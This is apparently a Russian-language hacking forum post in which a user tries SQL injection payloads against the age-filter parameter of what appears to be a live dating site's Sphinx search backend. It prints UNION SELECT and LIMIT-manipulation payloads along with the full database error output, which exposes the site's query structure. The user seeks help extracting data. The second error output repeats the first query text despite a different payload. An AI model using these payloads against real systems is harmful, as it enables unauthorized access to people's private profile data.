Цитата:
Сообщение от profexer
Там не нужна кавычка, зачем ты ее туда постоянно суешь?
Если незакрытый комментарий проходит, то просто правильно закончи запрос
|
Код:
a[ageFrom]=18 AND id_user=-1 UNION SELECT 1,2/*
Код:
Database Exception.
SQLSTATE[42000]: Syntax error or access violation: 1064 sphinxql: syntax error, unexpected IDENT, expecting $end near 'UNION SELECT 1,2/* AND age <= 90 AND id_partner != 3 ORDER BY rand() LIMIT 100000 OPTION max_matches = 100000;'
The SQL being executed was: SELECT `id_user`, is_online FROM profiles_female WHERE can_receive_gift = 1 AND id_mirror = 20 AND is_blocked = 0 AND age >= 18 AND id_user=-1 UNION SELECT 1,2/* AND age <= 90 AND id_partner != 3 ORDER BY rand() LIMIT 100000 OPTION max_matches = 100000;
Код:
a[ageFrom]=18 AND id_user=-1 UNION SELECT 1,2;%00
Код:
Database Exception.
SQLSTATE[42000]: Syntax error or access violation: 1064 sphinxql: syntax error, unexpected IDENT, expecting $end near 'UNION SELECT 1,2/* AND age <= 90 AND id_partner != 3 ORDER BY rand() LIMIT 100000 OPTION max_matches = 100000;'
The SQL being executed was: SELECT `id_user`, is_online FROM profiles_female WHERE can_receive_gift = 1 AND id_mirror = 20 AND is_blocked = 0 AND age >= 18 AND id_user=-1 UNION SELECT 1,2/* AND age <= 90 AND id_partner != 3 ORDER BY rand() LIMIT 100000 OPTION max_matches = 100000;
смог limit изменит, выводит 2 результата анкет:
Код:
a[ageFrom]=18 AND age <= 90 AND id_partner != 3 ORDER BY rand() LIMIT 10,2/*
Но это не то. Нельзя выводит нужные данные. Только без ошибки но с меньшим лимитом